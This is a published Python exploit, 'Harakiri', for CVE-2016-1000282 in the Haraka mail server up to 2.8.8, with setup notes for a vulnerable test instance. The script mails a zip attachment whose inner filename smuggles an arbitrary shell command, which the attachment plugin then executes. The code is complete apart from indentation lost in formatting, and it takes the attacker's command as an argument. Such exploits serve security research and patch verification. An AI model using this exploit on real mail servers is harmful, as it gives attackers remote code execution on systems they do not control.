Haraka Remote Command Execution

`#!/usr/bin/python  
# Exploit Title: Harakiri  
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection  
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]  
# Date: 26 January 2017  
# Category: Remote Code Execution  
# Vendor Homepage: https://haraka.github.io/  
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606  
# Software Link: https://github.com/haraka/Haraka  
# Exploit github: http://github.com/outflankbv/Exploits/  
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8  
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)  
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS  
# Tested versions: 2.8.8 and 2.7.2  
# CVE : CVE-2016-1000282  
# Credits to: smfreegard for finding and reporting the vulnerability  
# Thanks to: Dexlab.nl for asking me to look at Haraka.  
#  
# Instructions for testing the exploit below.  
# The zip is also saved to disk and can be attached using any mail client.   
# As it's processed in a vulnerable server it will run the embedded command   
#  
# Disclaimer:  
# This software has been created purely for the purposes of academic research and  
# for the development of effective defensive techniques, and is not intended to be  
# used to attack systems except where explicitly authorized. Project maintainers  
# are not responsible or liable for misuse of the software. Use responsibly.  
#  
# This is to be considered a responsible disclosure due to the availability of an effective patch.   
  
Install_and_test_exploit ="""  
THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT  
  
#Install a clean server (for example on Digital Ocean)  
#I picked the smallest Ubuntu 16.04.1 LTS for this guide.  
#I needed to enable swap on that installation  
fallocate -l 4G /swapfile  
chmod 600 /swapfile  
mkswap /swapfile  
swapon /swapfile  
swapon -s  
  
#install nodejs and npm: Note I have no clue what I'm doing here but it works!  
apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y  
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz  
tar xvzf v2.8.8.tar.gz  
cd Haraka-2.8.8/  
npm install -g npm  
ln -s /usr/bin/nodejs /usr/bin/node  
npm install -g  
  
#Haraka setup  
haraka -i /root/haraka  
  
cat << EOF > /root/haraka/config/plugins  
access  
rcpt_to.in_host_list  
data.headers  
attachment  
test_queue  
max_unrecognized_commands  
EOF  
  
cat << EOF >> /root/haraka/config/host_list  
haraka.test  
EOF  
  
# Launch haraka as root  
haraka -c /root/haraka/  
  
#### EXPLOIT TIME  
./harakiri.py -c "id > /tmp/harakiri" -t [email protected] -m <<IP OF TESTMACHINE HERE>>  
  
## now CTRL^C haraka on the server and:  
cat /tmp/harakiri  
  
# I'll leave the rest up to you  
"""  
  
import smtplib  
from email.mime.application import MIMEApplication  
from email.mime.multipart import MIMEMultipart  
from email.utils import COMMASPACE, formatdate  
from email.header import Header  
from email.utils import formataddr  
from email.mime.text import MIMEText  
from datetime import datetime  
import zipfile  
import StringIO  
import argparse  
import sys  
  
  
banner = u"""## ## ### ######## ### ## ## #### ######## ####   
## ## ## ## ## ## ## ## ## ## ## ## ## ##   
## ## ## ## ## ## ## ## ## ## ## ## ## ##   
######### ## ## ######## ## ## ##### ## ######## ##   
## ## ######### ## ## ######### ## ## ## ## ## ##   
## ## ## ## ## ## ## ## ## ## ## ## ## ##   
## ## ## ## ## ## ## ## ## ## #### ## ## ####   
  
-o- by Xychix, 26 January 2017 ---  
-o- xychix [at] hotmail.com ---  
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --  
  
-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)  
"""  
  
def SendMail(to,mailserver,cmd,mfrom):  
msg = MIMEMultipart()   
html = "harakiri"  
msg['Subject'] = "harakiri"  
msg['From'] = mfrom  
msg['To'] = to  
f = "harakiri.zip"  
msg.attach(MIMEText(html))  
filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S")  
print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver))  
part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip")  
part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip"  
msg.attach(part)  
print msg.as_string()  
s = smtplib.SMTP(mailserver,25)  
try:  
resp = s.sendmail(mfrom, to, msg.as_string())  
except smtplib.SMTPDataError, err:  
if err[0] == 450:  
print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1])  
return()  
print("smtpd response: %s No errors received"%(resp))  
s.close()  
return()  
  
class InMemoryZip(object):  
def __init__(self):  
self.in_memory_zip = StringIO.StringIO()  
def append(self, filename_in_zip, file_contents):  
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)  
zf.writestr(filename_in_zip, file_contents)  
for zfile in zf.filelist:  
zfile.create_system = 0   
return self  
def read(self):  
self.in_memory_zip.seek(0)  
return self.in_memory_zip.read()  
def writetofile(self, filename):  
f = file(filename, "w")  
f.write(self.read())  
f.close()  
  
def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"):  
z1 = InMemoryZip()  
z2 = InMemoryZip()  
z2.append("harakiri.txt", banner)  
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())  
z1.writetofile(filename)  
return(z1.read())  
  
if __name__ == '__main__':  
print(banner)  
parser = argparse.ArgumentParser(description='Harakiri')  
parser.add_argument('-c','--cmd', help='command to run', required=True)  
parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True)  
parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', required=True)  
parser.add_argument('-f','--from', help='optional: From email address', required=False, default="[email protected]")  
args = vars(parser.parse_args())  
SendMail(args['to'],args['mailserver'],args['cmd'],args['from'])  
  
`